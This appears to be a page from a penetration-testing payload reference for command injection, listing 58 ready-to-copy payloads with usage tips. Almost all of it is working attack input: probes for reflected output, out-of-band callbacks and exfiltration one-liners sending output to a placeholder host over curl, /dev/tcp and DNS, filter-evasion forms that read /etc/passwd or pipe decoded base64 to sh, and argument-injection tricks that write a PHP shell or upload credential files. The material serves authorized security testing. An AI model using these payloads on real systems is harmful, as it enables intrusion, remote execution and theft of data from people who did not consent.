Command injection

class

Your input reaching a shell. The highest-severity finding on this site and usually the easiest to confirm.

58 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Is the output reflected?

The cheapest possible check. Look before you build a callback.

If the command's output comes back in the response you get an instant, readable, report-ready answer with no infrastructure at all. Try this first — it costs one request.

IN-BAND — LOOK FOR OUTPUT8

;id

ENCCOPY

|idPipes the original command's output into yours, so you often see only your result.

ENCCOPY

||idRuns only if the original command failed — useful when your injection broke it.

ENCCOPY

&&id

ENCCOPY

$(id)

ENCCOPY

`id`

ENCCOPY

;whoami

ENCCOPY

& whoamiWindows.

ENCCOPY

What a hit looks like — uid=33(www-data) in the body, a Windows username, or the page rendering with an extra line that wasn't there. Also watch for a shorter response: |id replaces the original output rather than adding to it.

02Nothing came back — confirm out-of-band

Now build a channel. Out-of-band beats time-based when the box can reach the network.

OUT-OF-BAND CONFIRM7

;curl {{CALLBACK}}

ENCCOPY

|curl {{CALLBACK}}

ENCCOPY

$(curl {{CALLBACK}})

ENCCOPY

`curl {{CALLBACK}}`

ENCCOPY

;nslookup {{CALLBACK}}DNS often escapes where HTTP does not. Try this when curl gets nothing.

ENCCOPY

;ping -c1 {{CALLBACK}}-c1 on Linux, -n1 on Windows. Without it you hang the request.

ENCCOPY

;wget -qO- {{CALLBACK}}When curl is not installed.

ENCCOPY

TIME-BASED — LAST RESORT5

;sleep 5

ENCCOPY

|sleep 5

ENCCOPY

$(sleep 5)

ENCCOPY

;ping -c5 127.0.0.1Where sleep is unavailable or filtered.

ENCCOPY

& timeout 5Windows.

ENCCOPY

Baseline first. Time the endpoint with a zero-second sleep before you believe a five-second one, and send the pair — sleep 0 then sleep 5 — so the difference is your evidence rather than the absolute number.

03Separators

Which one works tells you how your input is being used.

SHELL SEPARATORS9

;Runs regardless of what came before.

ENCCOPY

&&Runs only if the first command succeeded.

ENCCOPY

||Runs only if the first command failed — useful when your injection breaks the original.

ENCCOPY

|Pipes, so the original command's output feeds yours.

ENCCOPY

%0aNewline. Frequently survives where ; and & are filtered.

ENCCOPY

%0d%0a

ENCCOPY

`command`

ENCCOPY

$(command)

ENCCOPY

${IFS}Not a separator, but the standard way past a space filter.

ENCCOPY

EXFILTRATE THE OUTPUT4

;id|curl -d @- {{CALLBACK}}

ENCCOPY

;curl {{CALLBACK}}/$(id|base64 -w0)Output in the path. Base64 avoids characters that break the URL.

ENCCOPY

;id > /dev/tcp/{{IP}}/{{PORT}}Bash built-in, no binaries needed.

ENCCOPY

;nslookup $(whoami).{{CALLBACK}}DNS exfiltration, one label at a time. Slow but it gets through most egress filters.

ENCCOPY

04Getting past a filter

NO SPACES5

{cat,/etc/passwd}

ENCCOPY

cat</etc/passwd

ENCCOPY

cat$IFS/etc/passwd

ENCCOPY

cat${IFS}/etc/passwd

ENCCOPY

X=$'\x20';cat${X}/etc/passwd

ENCCOPY

BROKEN-UP KEYWORDS7

c''at /etc/passwd

ENCCOPY

c""at /etc/passwd

ENCCOPY

c\at /etc/passwd

ENCCOPY

/bin/c?t /etc/passwdGlob. Matches cat, and the filter's literal string never appears.

ENCCOPY

/???/c?t /etc/p?sswd

ENCCOPY

$'\x63\x61\x74' /etc/passwd

ENCCOPY

echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh

ENCCOPY

WINDOWS6

& whoami

ENCCOPY

&& whoami

ENCCOPY

| whoami

ENCCOPY

;whoamiPowerShell only, not cmd.

ENCCOPY

^&^& whoamiCaret is the cmd escape character — splits the keyword for a filter.

ENCCOPY

w^h^o^a^m^i

ENCCOPY

Windows cmd and PowerShell take different separators. If ; does nothing but & works, you're in cmd — which also tells you sleep won't exist and you want timeout instead.

05Argument injection

No shell involved, but you control an argument. Often missed entirely.

ARGUMENT INJECTION7

curl

-o /var/www/html/shell.phpWrites the response body wherever the process can write.

ENCCOPY

curl

--upload-file /etc/passwd

ENCCOPY

tar

--to-command=idRuns a command per file extracted.

ENCCOPY

zip

--unzip-command="sh -c id"

ENCCOPY

find

-exec id ;

ENCCOPY

git

--upload-pack='sh -c id'

ENCCOPY

ssh

-oProxyCommand=idAlso works via git clone ssh://... in some wrappers.

ENCCOPY

This is where an application that carefully avoids system() still hands you execution, because it passes your filename straight into an argument array. Look for it anywhere a file name, URL or hostname is forwarded to a binary.